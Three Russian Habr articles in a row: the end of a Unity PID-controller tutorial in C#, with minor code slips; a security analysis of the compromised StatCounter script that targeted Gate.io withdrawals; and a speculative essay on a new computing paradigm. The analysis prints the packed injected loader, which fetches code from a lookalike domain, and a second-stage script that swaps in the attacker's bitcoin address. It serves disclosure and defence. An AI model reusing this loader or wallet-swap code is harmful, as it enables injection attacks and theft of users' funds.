* увеличение пропорционального коэффициента увеличивает быстродействие и снижает запас устойчивости;
* с уменьшением интегральной составляющей ошибка регулирования с течением времени уменьшается быстрее;
* уменьшение постоянной интегрирования уменьшает запас устойчивости;
* увеличение дифференциальной составляющей увеличивает запас устойчивости и быстродействие
**Исходный код стандартной формы, вы можете найти под спойлером**
```
namespace Assets.Scripts.Regulator
{
[System.Serializable]
public class StandartPID
{
public float Kp, Ti, Td;
public float error, CO;
public float P, I, D;
private float lastPV = 0f;
public StandartPID()
{
Kp = 0.1f;
Ti = 10000f;
Td = 0.5f;
bias = 0f;
}
public StandartPID(float Kp, float Ti, float Td)
{
this.Kp = Kp;
this.Ti = Ti;
this.Td = Td;
}
public float Update(float error, float PV, float dt)
{
this.error = error;
P = error;
I += (1 / Ti) * error * dt;
D = -Td * (PV - lastPV) / dt;
CO = Kp * (P + I + D);
lastPV = PV;
return CO;
}
}
}
```
В качестве значений по умолчанию, выбраны Kp = 0.01, Ti = 10000, Td = 0.5 — при таких значениях корабль поворачивается достаточно быстро и обладает некоторым запасом устойчивости.
Помимо такой формы ПИД-регулятора, часто используется т.н. *реккурентная форма*:
![$ CO(t_k)=CO(t_{k-1})+K_p\left[\left(1+\dfrac{\Delta t}{T_i}+\dfrac{T_d}{\Delta t}\right)e(t_k)+\left(-1-\dfrac{2T_d}{\Delta t}\right)e(t_{k-1})+\dfrac{T_d}{\Delta t}e(t_{k-2})\right] $](https://habrastorage.org/getpro/habr/formulas/df7/64f/ce2/df764fce2d4794b2a8deb79c0aaecf5c.svg)
Не будем на ней останавливаться, т.к. она актуальна прежде всего для хардверных программистов, работающих с FPGA и микроконтроллерами, где такая реализация значительно удобнее и эффективнее. В нашем же случае — давайте что-нибудь сваям на Unity3D — это просто еще одна реализация ПИД-контроллера, которая ни чем не лучше других и даже менее понятная, так что еще раз дружно порадуемся как хорошо программировать в уютненьком C#, а не в жутком и страшном VHDL, например.
Вместо заключения. Куда бы еще присобачить ПИД-регулятор
========================================================
Теперь попробуем немного усложнить управление корабля используя двухконтурное управление: один ПИД-регулятор, уже знакомый нам \_angleController, отвечает по прежнему за угловое позиционирование, а вот второй — новый, \_angularVelocityController — контролирует скорость поворота:
```
public float ControlRotate(float targetAngle, float thrust)
{
float CO = 0f;
float MV = 0f;
float dt = Time.fixedDeltaTime;
_angle = _myTransform.eulerAngles.z;
//Контроллер угла поворота
float angleError = Mathf.DeltaAngle(_angle, targetAngle);
float torqueCorrectionForAngle =
_angleController.Update(angleError, _angle, dt);
//Контроллер стабилизации скорости
float angularVelocityError = -_rb2d.angularVelocity;
float torqueCorrectionForAngularVelocity =
_angularVelocityController.Update(angularVelocityError, -angularVelocityError, dt);
//Суммарный выход контроллера
CO = torqueCorrectionForAngle + torqueCorrectionForAngularVelocity;
//Дискретизируем с шагом 100
CO = Mathf.Round(100f * CO) / 100f;
//Сатурируем
MV = CO;
if (CO > thrust) MV = thrust;
if (CO < -thrust) MV = -thrust;
return MV;
}
```
Назначение второго регулятора — гашение избыточных угловых скоростей, за счет изменения крутящего момента — это сродни наличию углового трения, которое мы отключили еще при создании игрового объекта. Такая схема управления [возможно] позволит получить более стабильное поведение корабля, и даже обойтись только пропорциональными коэффициентами управления — второй регулятор будет гасить все колебания, выполняя функцию, аналогичную дифференциальной составляющей первого регулятора.
Помимо этого, добавим новый класс ввода игрока — PlayerInputCorvette, в котором повороты буду осуществляться уже за счет нажатия клавиш "вправо-влево", а целеуказание с помощью мыши мы оставим для чего-нибудь более полезного, например, для управления турелью. Заодно у нас теперь появился такой параметр как \_turnRate — отвечающий за скорость/отзывчивость поворота (не понятно только куда его поместить лучше в InputCOntroller или все же Ship).
```
public class PlayerCorvetteInput : BaseInputController
{
public float _turnSpeed = 90f;
public override void ControlRotate()
{
// Находим указатель мыши
Vector3 worldPos = Input.mousePosition;
worldPos = Camera.main.ScreenToWorldPoint(worldPos);
// Сохраняем относительные координаты указателя мыши
float dx = -this.transform.position.x + worldPos.x;
float dy = -this.transform.position.y + worldPos.y;
//Передаем направление указателя мыши
Vector2 target = new Vector2(dx, dy);
_agentBody._target = target;
//Вычисляем поворот в соответствии с нажатием клавиш
_agentBody._rotation -= Input.GetAxis("Horizontal") * _turnSpeed * Time.deltaTime;
}
public override void ControlForce()
{
//Передаем movement
_agentBody._movement = Input.GetAxis("Vertical") * Vector2.up;
}
}
```
**Также для наглядности накидаем на коленках скрипт для отображения отладочной информации**
```
namespace Assets.Scripts.SpaceShooter.UI
{
[RequireComponent(typeof(Ship))]
[RequireComponent(typeof(BaseInputController))]
public class Debugger : MonoBehaviour
{
Ship _ship;
BaseInputController _controller;
List \_pids = new List();
List \_names = new List();
Vector2 \_orientation = new Vector2();
// Use this for initialization
void Start()
{
\_ship = GetComponent();
\_controller = GetComponent();
\_pids.Add(\_ship.\_angleController);
\_names.Add("Angle controller");
\_pids.Add(\_ship.\_angularVelocityController);
\_names.Add("Angular velocity controller");
}
// Update is called once per frame
void Update()
{
DrawDebug();
}
Vector3 GetDiretion(eSpriteRotation spriteRotation)
{
switch (\_controller.\_spriteOrientation)
{
case eSpriteRotation.Rigth:
return transform.right;
case eSpriteRotation.Up:
return transform.up;
case eSpriteRotation.Left:
return -transform.right;
case eSpriteRotation.Down:
return -transform.up;
}
return Vector3.zero;
}
void DrawDebug()
{
//Направление поворота
Vector3 vectorToTarget = transform.position
+ 5f \* new Vector3(-Mathf.Sin(\_ship.\_targetAngle \* Mathf.Deg2Rad),
Mathf.Cos(\_ship.\_targetAngle \* Mathf.Deg2Rad), 0f);
// Текущее направление
Vector3 heading = transform.position + 4f \* GetDiretion(\_controller.\_spriteOrientation);
//Угловое ускорение
Vector3 torque = heading - transform.right \* \_ship.\_Torque;
Debug.DrawLine(transform.position, vectorToTarget, Color.white);
Debug.DrawLine(transform.position, heading, Color.green);
Debug.DrawLine(heading, torque, Color.red);
}
void OnGUI()
{
float x0 = 10;
float y0 = 100;
float dx = 200;
float dy = 40;
float SliderKpMax = 1;
float SliderKpMin = 0;
float SliderKiMax = .5f;
float SliderKiMin = -.5f;
float SliderKdMax = .5f;
float SliderKdMin = 0;
int i = 0;
foreach (SimplePID pid in \_pids)
{
y0 += 2 \* dy;
GUI.Box(new Rect(25 + x0, 5 + y0, dx, dy), "");
pid.Kp = GUI.HorizontalSlider(new Rect(25 + x0, 5 + y0, 200, 10),
pid.Kp,
SliderKpMin,
SliderKpMax);
pid.Ki = GUI.HorizontalSlider(new Rect(25 + x0, 20 + y0, 200, 10),
pid.Ki,
SliderKiMin,
SliderKiMax);
pid.Kd = GUI.HorizontalSlider(new Rect(25 + x0, 35 + y0, 200, 10),
pid.Kd,
SliderKdMin,
SliderKdMax);
GUIStyle style1 = new GUIStyle();
style1.alignment = TextAnchor.MiddleRight;
style1.fontStyle = FontStyle.Bold;
style1.normal.textColor = Color.yellow;
style1.fontSize = 9;
GUI.Label(new Rect(0 + x0, 5 + y0, 20, 10), "Kp", style1);
GUI.Label(new Rect(0 + x0, 20 + y0, 20, 10), "Ki", style1);
GUI.Label(new Rect(0 + x0, 35 + y0, 20, 10), "Kd", style1);
GUIStyle style2 = new GUIStyle();
style2.alignment = TextAnchor.MiddleLeft;
style2.fontStyle = FontStyle.Bold;
style2.normal.textColor = Color.yellow;
style2.fontSize = 9;
GUI.TextField(new Rect(235 + x0, 5 + y0, 60, 10), pid.Kp.ToString(), style2);
GUI.TextField(new Rect(235 + x0, 20 + y0, 60, 10), pid.Ki.ToString(), style2);
GUI.TextField(new Rect(235 + x0, 35 + y0, 60, 10), pid.Kd.ToString(), style2);
GUI.Label(new Rect(0 + x0, -8 + y0, 200, 10), \_names[i++], style2);
}
}
}
}
```
**Класс Ship также претерпел необратимые мутации и теперь должен выглядеть вот так:**
```
namespace Assets.Scripts.SpaceShooter.Bodies
{
public class Ship : BaseBody
{
public GameObject _flame;
public Vector2 _movement = new Vector2();
public Vector2 _target = new Vector2();
public float _targetAngle = 0f;
public float _angle = 0f;
public float _thrust = 1f;
[Header("PID")]
public SimplePID _angleController = new SimplePID(0.1f,0f,0.05f);
public SimplePID _angularVelocityController = new SimplePID(0f,0f,0f);
private float _torque = 0f;
public float _Torque
{
get
{
return _torque;
}
}
private Vector2 _force = new Vector2();
public Vector2 _Force
{
get
{
return _force;
}
}
public void FixedUpdate()
{
_torque = ControlRotate(_targetAngle, _thrust);
_force = ControlForce(_movement, _thrust);
_rb2d.AddTorque(_torque);
_rb2d.AddRelativeForce(_force);
}
public float ControlRotate(float targetAngle, float thrust)
{
float CO = 0f;
float MV = 0f;
float dt = Time.fixedDeltaTime;
_angle = _myTransform.eulerAngles.z;
//Контроллер угла поворота
float angleError = Mathf.DeltaAngle(_angle, targetAngle);
float torqueCorrectionForAngle =
_angleController.Update(angleError, _angle, dt);
//Контроллер стабилизации скорости
float angularVelocityError = -_rb2d.angularVelocity;
float torqueCorrectionForAngularVelocity =
_angularVelocityController.Update(angularVelocityError, -angularVelocityError, dt);
//Суммарный выход контроллера
CO = torqueCorrectionForAngle + torqueCorrectionForAngularVelocity;
//Дискретизируем с шагом 100
CO = Mathf.Round(100f * CO) / 100f;
//Сатурируем
MV = CO;
if (CO > thrust) MV = thrust;
if (CO < -thrust) MV = -thrust;
return MV;
}
public Vector2 ControlForce(Vector2 movement, float thrust)
{
Vector2 MV = new Vector2();
if (movement != Vector2.zero)
{
if (_flame != null)
{
_flame.SetActive(true);
}
}
else
{
if (_flame != null)
{
_flame.SetActive(false);
}
}
MV = movement * thrust;
return MV;
}
public void Update()
{
}
}
}
```
А вот, собственно заключительное видео того, что должно получиться:
*К сожалению получилось охватить не все, что хотелось бы, в частности почти не затронут вопрос настройки ПИД-регулятора и практически не освящена интегральная составляющая — фактически приведен пример только для ПД-регулятора. Собственно изначально планировалось несколько больше примеров (круиз-контроль, вращение турели и компенсация вращательного момента), но статья итак уже разбухла, да и вообще:*
Немного ссылок
==============
1. [Годная статья на английской вики](https://en.wikipedia.org/wiki/PID_controller)
2. [PID tutorial](http://saba.kntu.ac.ir/eecd/pcl/download/PIDtutorial.pdf)
3. [ПИД-регуляторы: вопросы реализации. Часть 1](https://www.cta.ru/cms/f/364276.pdf)
4. [ПИД-регуляторы: вопросы реализации. Часть 2](https://www.cta.ru/cms/f/374303.pdf)
5. [PID Without a PhD](http://manuals.chudov.com/Servo-Tuning/PID-without-a-PhD.pdf)
6. [PID Without a PhD. Перевод](http://roboforum.ru/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%B2%D0%BE%D0%B4_%D1%81%D1%82%D0%B0%D1%82%D1%8C%D0%B8_%22%D0%9F%D1%80%D0%BE%D1%81%D1%82%D0%BE_%D0%BE_%D0%9F%D0%98%D0%94-%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D0%B0%D1%85%22)
7. [Derivative Action and PID Control](http://controlguru.com/pid-control-and-derivative-on-measurement/)
8. [Control System Lab: PID](http://controlsystemslab.com/category/articles/control-enginnering/pid/)
9. [ПИД-регулятор своими руками](https://habrahabr.ru/post/145991/)
10. [Корректная реализация разностной схемы ПИД регулятора](https://habrahabr.ru/post/143388/)
11. [Программируем квадрокоптер на Arduino (часть 1)](https://habrahabr.ru/post/227425/)
12. [Виртуальный квадрокоптер на Unity + OpenCV (Часть 1)](https://habrahabr.ru/post/267791/)
13. Поляков К.Ю. Теория автоматического управления для чайников
14. [PID control system analysis, design, and technology](http://ieeexplore.ieee.org/document/1453566/)
15. Aidan O'Dwyer. Handbook of PI and PID Controller Tuning Rules (3rd ed.)
16. [PID process control, a “Cruise Control” example](https://www.codeproject.com/Articles/36459/PID-process-control-a-Cruise-Control-example)
17. <https://www.mathworks.com/discovery/pid-control.html>
18. <http://scilab.ninja/study-modules/scilab-control-engineering-basics/module-4-pid-control/>
19. <https://sourceforge.net/p/octave/control/ci/default/tree/inst/optiPID.m>
**Еще немного ссылок на другие примеры**
<http://luminaryapps.com/blog/use-a-pid-loop-to-control-unity-game-objects/>
<http://www.habrador.com/tutorials/pid-controller/3-stabilize-quadcopter/>
<https://www.gamedev.net/articles/programming/math-and-physics/pid-control-of-physics-bodies-r3885/>
<https://ksp-kos.github.io/KOS/tutorials/pidloops.html> | https://habr.com/ru/post/345972/ | null | ru | null |
# Зафиксирована атака на криптовалютную биржу Gate.io
4 ноября злоумышленники скомпрометировали StatCounter, платформу для анализа веб-трафика. Сервис используется для сбора статистических данных о посетителях сайтов, примерно как Google Analytics. Для этого веб-мастера добавляют на каждую страницу сайта внешний тег JavaScript, содержащий фрагмент кода StatCounter – [www.statcounter](http://www.statcounter)[.]com/counter/counter.js. Посредством StatCounter атакующие могут инжектировать код JavaScript на все сайты, использующие данную платформу. Тем не менее, целью атаки стал один ресурс – криптовалютная биржа Gate.io.
По собственным [данным](http://gs.statcounter.com/faq#methodology), у StatCounter больше двух миллионов сайтов-участников, он собирает статистику более чем о 10 млрд просмотров веб-страниц в месяц. Его Alexa-рейтинг чуть выше 5 000 (для сравнения, сопоставимый рейтинг имеет официальный сайт Debian Linux – debian.org).
Атакующие модифицировали скрипт на [www.statcounter](http://www.statcounter)[.]com/counter/counter.js, добавив фрагмент вредоносного кода, показанный в форме ниже, в середине скрипта. Это необычно, поскольку вредоносный код чаще добавляется в начало или конец легитимного файла. Код в середине существующего скрипта сложнее заметить, если не вчитываться.
```
eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
```
Скрипт создан с помощью упаковщика Dean Edwards, вероятно, самого популярного упаковщика JavaScript. Тем не менее, его можно просто распаковать, что приведет к запуску фактического скриптового кода, как показано ниже.
```
myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
var ga = document.createElement('script');
ga.src = 'https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true');
document.documentElement.firstChild.appendChild(ga);
}
```
Фрагмент кода проверяет, содержит ли URL-адрес унифицированный идентификатор ресурса (URI) *myaccount/withdraw/BTC*. На основании этого мы можем сделать вывод, что цель атакующих – биткоин-платформа. Обнаружив искомое, скрипт добавляет на веб-страницу новый script элемент, встраивая код [www.statconuter](https://www.statconuter)[.]com/c.php.
Обратите внимание, что атакующие зарегистрировали домен, очень похожий на легитимный StatCounter. Разница в двух буквах – ее сложно заметить при просмотре журналов на предмет подозрительной активности. Кстати, проверяя пассивный DNS домена, мы обнаружили, что в 2010 году его блокировали за нарушения эксплуатации.
Повторим, что скрипт нацелен на определенный идентификатор (URI): *myaccount/withdraw/BTC*. На момент написания этого поста среди всех криптовалютных бирж действительная страница с этим URI была только у Gate.io. Похоже, именно эта биржа была целью атаки. Эта площадка достаточно популярна: ее рейтинг Alexa – 26 251, рейтинг в Китае – 8 308.
Кроме того, по данным coinmarketcap.com, через эту платформу ежедневно проходит несколько миллионов долларов, в том числе, 1,6 млн долларов в биткоинах. В общем, интерес атакующих к Gate.io несложно объяснить.
Веб-страница [www.gate](https://www.gate)[.]io/myaccount/withdraw/BTC (см. ниже) используется для перевода биткоинов из аккаунта на gate.io на внешний адрес.
Полезная нагрузка второго этапа с statconuter[.]com/c.php предназначена для кражи биткоинов. Скрипт, также упакованный с помощью Dean Edwards, встраивается в веб-страницу перевода биткоинов на Gate.io. Распакованная версия ниже.
```
document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
var a = document.getElementById('withdraw_form');
if ($('#amount').val() > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if (document.getElementById('canUse').innerText > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
document.forms[0]['amount']['name'] = '';
var t = $("");
t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
```
На легитимной странице Gate.io есть функция `doSubmit`, которая вызывается, когда пользователь нажимает кнопку отправки. В нашем случае атакующие изменили ее.
Вредоносный скрипт автоматически заменяет адрес биткоин-кошелька пользователя адресом, принадлежащим атакующим, например, `1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad`. Сервер злоумышленников генерирует новый адрес каждый раз, когда посетитель загружает скрипт statconuter[.]com/c.php.
Скрипт использует введенную жертвой сумму (если жертва переводит больше десяти биткоинов) или дневной лимит снятия криптовалюты с аккаунта. В нашем тестовом аккаунте лимит списания был установлен на 100 ВТС. Наконец, скрипт отправляет форму, которая выполняет перевод средств из учетной записи жертвы на адрес кошелька атакующих.
Перенаправление средств, вероятно, производится незаметно для жертв, поскольку кошелек подменяют после нажатия кнопки «Отправить». Это происходит очень быстро и без визуального отображения.
Новый биткоин-адрес злоумышленников генерируется при каждом запросе вредоносного скрипта, поэтому мы не можем оценить их доход. Если проверить адрес, который мы использовали на тестовой машине, баланс нулевой.
### Вывод
Мы не знаем, сколько биткоинов было украдено в ходе данной атаки. Тем не менее, инцидент показывает, как могут действовать злоумышленники, чтобы атаковать конкретный ресурс, в частности, криптовалютную биржу. Для кражи биткоинов у пользователей одной биржи они скомпрометировали аналитическую платформу, которую используют миллионы веб-сайтов, включая несколько правительственных площадок.
Кроме того, это показывает, что даже если ваш сайт обновлен и надежно защищен, он все еще уязвим для атак посредством сторонних ресурсов. Еще одно напоминание о том, что внешний код JavaScript, находящийся под контролем третьей стороны, может быть изменен в любое время без предварительного уведомления.
Мы предупредили StatCounter и Gate.io о вредоносной активности.
### Индикаторы компрометации
**Вредоносные URL**
• [www.statcounter](http://www.statcounter)[.]com/counter/counter.js
• [www.statconuter](http://www.statconuter)[.]com/c.php | https://habr.com/ru/post/429050/ | null | ru | null |
# Вычислительная система пятого поколения
В 80 годы прошлого века правительство Японии совершило попытку создать распределенную вычислительную систему следующего поколения с элементами ИИ. Проект закончился достаточно закономерным провалом. Причина провала достаточно проста, почему то посчитали, что простого наличия технологии производства больших интегральных схем хватит для качественного "скачка" в вычислительных технологиях (своеобразный переход количества в качество). Да, история повторилась, после изобретения компьютера, тоже присутствовала необоснованная уверенность в скором появлении ИИ и тоже провалилась.
Сейчас ИИ в основном рассматривается как совокупность нейронов, объединенных в сеть. В свою очередь я попытался посмотреть на человеческий мозг, как на вычислительную систему. При этом не акцентируя внимание на элементах какого типа он базируется.
```
<!--
@page { size: 21cm 29.7cm; margin: 2cm }
P { margin-bottom: 0.21cm }
-->
```
#### Современное состояние вычислительной техники
Современное состояние вычислительной техники можно охарактеризовать как стагнацию, основные идеи были сформулированы в 1940-1970 годы прошлого века и до настоящего времени не претерпели значимых изменений. Основной прогресс получался за счет совершенствования микроэлектронной технологии, до тех пор пока в начале двухтысячных весь процессор не был окончательно реализован в пределах одного кремниевого кристалла. С этого момента рост производительности резко замедлился и начали проявляться проблемы заложенные в вычислительную парадигму фон-неймана, как в части аппаратуры, так и в части создания программного обеспечения. Основными проблемами парадигмы фон-неймана является принципиальная последовательность исполнения команд и отсутствие (в пределах вычислительной парадигмы) второй и более вычислительной машины, а так же средств взаимодействия с ней. Еще можно отметить несоответствие современных задач, задачам под которые создавалась вычислительная машина фон-неймана. Современный компьютер создавался как средство для автоматизации расчетных работ, в настоящее время в основном используется как средство «оживления» различных моделей, физически существующих или полностью виртуальных (непосредственно расчетное использование минимально). Создание программного обеспечения базируется на математических принципах, что чрезвычайно неэффективно за пределами чисто математических задач.
В целом можно сказать, что для достижения значимого прогресса необходим революционный слом существующей парадигмы и всех навязанных искусственных ограничений (адресное пространство, последовательность исполнения команд, разрядность данных и многое другое).
**Внимание:**
*Все идеи и алгоритмы, описываемые в данной статье, являются результатом моей независимой и полностью самостоятельной интеллектуальной деятельности. Как автор, разрешаю свободно использовать, изменять, дополнять все идеи и алгоритмы любому человеку или организации в любых типах проектов при обязательном указании моего авторства (Балыбердин Андрей Леонидович Rutel@Mail.ru).*
В самом начале необходимо определить основной тип задач, на решение которых будет нацелена новая вычислительная парадигма. Архитектура фон-неймана решает задачи вычисления математических выражений, а все остальное идет «бесплатным» дополнением. В настоящее время акцент сместился в сторону моделирования поведения различных объектов или их «сообществ», именно эту задачу необходимо рассматривать как основную. Еще учитываю «своекорыстный» интерес, использование будущей вычислительной системы для моделирования человеческого мозга и как инструмент для моделирования (проектирования) биологических структур (нейро-интерфейс) внедряемых в мозг человека (проект переноса личности человека в вычислительную систему).
*Примерное описание идеи в статье : Цифровое бессмертие — Инженерный подход.*
#### Определим основные «термины»
**Объект**
Определение понятия объекта (правильнее сказать *виртуальный объект*), поведение которого и будет моделировать новая вычислительная система.
*Виртуальный объект* это отражение свойств и законов, которым подчиняется некоторый внешний по отношению к вычислительной системе объект, в данные хранимые и обрабатываемые вычислительной системой. Иными словами виртуальный объект это «связанный» набор данных (можно даже применить термин *запутанность* из квантовой физики), который изменяет свое состояние при взаимодействии с другими виртуальными объектами сообразно с законами функционирования и не может принимать значения противоречащие данным законам даже на короткий промежуток времени. Из это следует, что все данные характеризующие текущее состояние объекта, при взаимодействии с другими объектами изменяют свое состояние за бесконечно малый промежуток времени (мгновенно). Законы функционирования определяют набор действий, которые должна выполнить вычислительная система для «вычисления» нового состояния (аналог программы из парадигмы фон-неймана). Программирование в новой парадигме сводится к постулированию законов поведения объекта, базовых констант, и границ их применения (создание иерархического описания свойств объекта), на основании которых «компилятор» создает все остальные компоненты необходимые в конкретной вычислительной системе для моделирования. Профессия программист в данной парадигме отсутствует по причине практической невозможности в ручного переписывания исполняемой последовательности команд после каждого изменения законов поведения объекта (описание свойств должно производиться практически на естественном языке). Для формулирования свойств объекта необходимы знания специалиста, в интересах которого создается ПО (технология создания ПО будет рассматриваться в следующей статье).
**Данные**
Данные это иерархическая информационная конструкция, состоящая из совокупности символов. Данная структура, описывает «физические» параметры объекта в настоящем времени и изменяется согласно законам функционирования при взаимодействии с другими объектами.
**Символ**
Символ представляет собой неделимую информационную конструкцию обладающую свойствами тип и значение, информационная емкость (разрядность, да и вообще дискретность) не оговаривается. Именно через тип символа и происходит связывание виртуального объекта с физическим миром (отражением в физическом мире). В физике есть «Международная система единиц измерения», в том числе и через ее отображение в пространство символов происходит отображение «физической» реальности в виртуальную. Можно сказать, что каждый тип символа это отдельное «измерение» и каждый виртуальный объект может быть описан через координаты в пространстве «измерений».
**Взаимодействие объектов**
Взаимодействие объектов происходит через «перенос» части состояния одного объекта (части данных), в состояние взаимодействующего с ним другого объекта. Перенос данных взаимодействия происходит не мгновенно (дань конечности времени взаимодействия), время взаимодействия неизвестно и не постоянно во времени. Гарантируется только то, что порядок переноса данных взаимодействия будет совпадать с порядком их появления. Данные взаимодействия переносятся во взаимодействующий объект целиком и без искажений.
**Время**
Моделируемые объекты изменяют свое состояние во времени. Время в физическом мире не имеет носителя и является просто отношением скорости течения различных процессов. Единственно, что можно сказать о времени определенно, оно направлено из прошлого, через настоящее, в будущее и нереверсивно. Текущее состояние данных объекта это и есть его настоящее. Время, для вычислительной системы, логичнее определить через количество взаимодействий между объектами. Нет взаимодействий, нет времени. Если произошло взаимодействие (приняты данные взаимодействия), то оно мгновенно изменяет объект (его состояние). Если требуется привязать объект к реальному (модельному или физическому времени), то достаточно путем взаимодействия с объектом «таймер» добавить в его данные (состояние) значение времени.
**Вычисление**
Новая вычислительная парадигма в значительной степени (с вычислительной точки зрения) базируется на идеях DataFlow (вычисления возможны только после готовности всех исходных данных). В момент когда происходит взаимодействие (получены данные взаимодействия от другого объекта), выполняются все возможные «преобразования» для данного объекта, для которых присутствуют необходимые данные. В отличии от канонического DataFlow, где проверяется только готовность исходных данных, необходимо проверить еще наличие возможности «записать» результат преобразования. Такие проверки позволяют осуществлять координацию работы нескольких объектов, притормаживая объекты имеющие возможность создать много данных сразу (не считаясь с возможностью другого объекта их обработать). В результате получается сбалансированная система, где невозможно начать вычисления раньше готовности данных и производить вычисление слишком быстро по причине отсутствия места для сохранения данных. Можно добавить, что существенным отличием от вычислительной парадигмы фон-неймана, является возможность получить больше одного легитимного результата. Поскольку исходными данными для создания ПО являются «законы», а не отдельные команды (фон-нейман). Применение «законов» отделяет множество «легитимных» решений из множества возможных, их может быть больше одного, а может и не быть вообще. В парадигме фон-неймана происходит простое вычисление математического выражения, с одним результатом в итоге.
Физическая реализация «вычислителя» может любой (программа для обычного фон-неймановского процессора, FPGA, обычная логика, нейронные технологии и тд). Каналы переноса данных взаимодействия, по своим свойствам являются обычными каналами связи (точка-точка) с произвольно распределенным по их протяженности FIFO (канал имеет некую информационную емкость). Регулируя скорость передачи символов в отдельных каналах, можно регулировать скорость работы различного ПО, иначе говоря это более эффективный аналог системы приоритетов из парадигмы фон-неймана.
#### Итог
Отдельные объекты могут располагаться (исполняться) на различных кристаллах, которые соединяются каналами связи (для переноса данных взаимодействия). Нет границ между различными компонентами суммарной вычислительной системы. Состояние объекта в будущем зависит только от данных взаимодействия, плюс данные текущего состояния объекта, значит может быть вычислено полностью параллельно. Кроме того можно представить вычисление виде направленного ациклического графа, что позволит организовать вычислительный процесс по готовности данных с одновременным использованием большого числа вычислительных «ядер». Такой подход дополнительно распараллеливает вычислительный процесс. Получается максимально параллельная и распределенная вычислительная система.
Программирование в новой парадигме превращается из составления списка исполняемых команд (фон-нейман) в описании иерархии законов (свойств), которым должен подчиняться виртуальный объект (или их совокупность). Такой подход открывает очень большие перспективы, например избавляет от неэффективного «посредника» (программиста) при взаимодействии с вычислительной системой. Разрушает барьер максимальной сложности создаваемой программы. Человек может одновременно оперировать не более чем 5-7 информационными сущностями, что приводит к ошибкам логической связности больших объектов. Программирование в новой парадигме становится «инкрементальным», можно постепенно добавлять (редактировать) законы (свойства), до тех пор пока весь объект не станет соответствовать потребностям пользователя. В парадигме фон-неймана такой подход невозможен из-за того что программирование представляет собой создание (редактирование) последовательности действий, которая может полностью измениться при внесении даже небольших изменений в законы функционирования математической модели объекта. Замечу, что нигде не говорится о необходимости изначально понимать «устройство» создаваемого объекта, можно просто формировать список требований (законов). Произойдет постепенное формирование множества объектов подходящих для решения поставленной задачи. Объекты будут немного отличаться друг от друга, но только в части не значимой для решаемой задачи. Если «замкнуть» обратную связь с объектом существующим в физической реальности, то можно создать «автоматическую» исследовательскую систему, которая будет без участия оператора строить виртуальные модели физических объектов. Самое главное, такой подход позволит решить проблему написания адаптивно изменяющегося ПО, предназначенного для работы в не контролируемой среде (в изменяющемся реальном мире).
Можно будет строить отображение реального мира в виртуальный, как это делает мозг человека и на его основе предсказывать результат тех или иных действий (такое предсказание и является интеллектом). Для парадигмы фон-неймана написание корректно работающего ПО возможно только при полном знании среды в которой будет работать ПО и любое «непредвиденное» обстоятельство может нарушить логику работы.
Создание «программы» по заданным законам функционирования, можно делать многими способами. Самый простой пример : Использовать технологию обучения нейронных сетей, заменив библиотеку примеров на проверку соответствия получаемого объекта заданным законам (свойствам). *Более полно технология «программирования» будет рассматриваться в следующей статье.*
#### Физическая реализация вычислительной системы
Повторюсь, до начала 2000х наблюдался экспоненциальный рост производительности процессоров (закон Мура) и определялся он в основном успехами микроэлектронного производства. В момент когда удалось полностью разместить на одном кристалле процессор и все необходимое для его работы (кэш память и другое), наступил перелом. Рост производительности прекратился и повлияли на это множество факторов, частично из-за «электрических» ограничений, таких как невозможность рассеивать все потребляемую мощность (появилось понятие «темный кремний»), ограничение по частоте (размер кристалла, частотные свойства транзистора и суммарное потребление). Но самый главный «тормоз» в повышении производительности это невозможность эффективного распараллеливания, заложенный в самой вычислительной парадигме. Невозможно получить рост производительности путем простого увеличения числа ядер на одном кристалле.
#### Сетевая парадигма
Следующим сдерживающим фактором является отсутствие эффективной сетевой парадигмы, что не позволяет распределить вычислительный процесс в пространстве (объеме) и заставляет стягивать все компоненты вычислительной системы в пределы одного кристалла.
```
<!--
@page { size: 21cm 29.7cm; margin: 2cm }
P { margin-bottom: 0.21cm }
-->
```
В новой вычислительной системе за счет революционного увеличения эффективности сетевой подсистемы данная проблема должна быть решена. Необходимо получить скорости до 10Е14 бит в секунду для каждого отдельного кристалла, при стабильных задержках задержках передачи, на 90% определяемых скоростью распространения электромагнитной волны в среде передачи. (*Подробное описание устройства коммуникационной парадигмы в статье: «Синхронный интернет: Синхронная символьная иерархия»*). Получить такую производительность при использовании медных линий связи практически невозможно, соответственно необходимо полностью изменить подход к проектированию меж-соединений. В настоящее время все компоненты устанавливаются на печатную плату и соединяются медными проводниками. В качестве альтернативы такому подходу, предлагаю в текстолите прокладывать оптические волокна и выводить их с торцов ПП или вырезов в ней для устанавливаемых микросхем. Если сейчас микросхемы распаиваются, то в новом подходе кристаллы могут устанавливаться в прорези в печатной плате. Оптические интерфейсы микросхем должны располагаться с торцов и сопрягаться с оптическими интерфейсами ПП, различные ПП соединять разъемами устанавливаемыми на внешние края плат. Такой подход позволит максимально плотно (значит с минимальными задержками) и надежно строить систему оптических соединений.
#### Теплоотвод
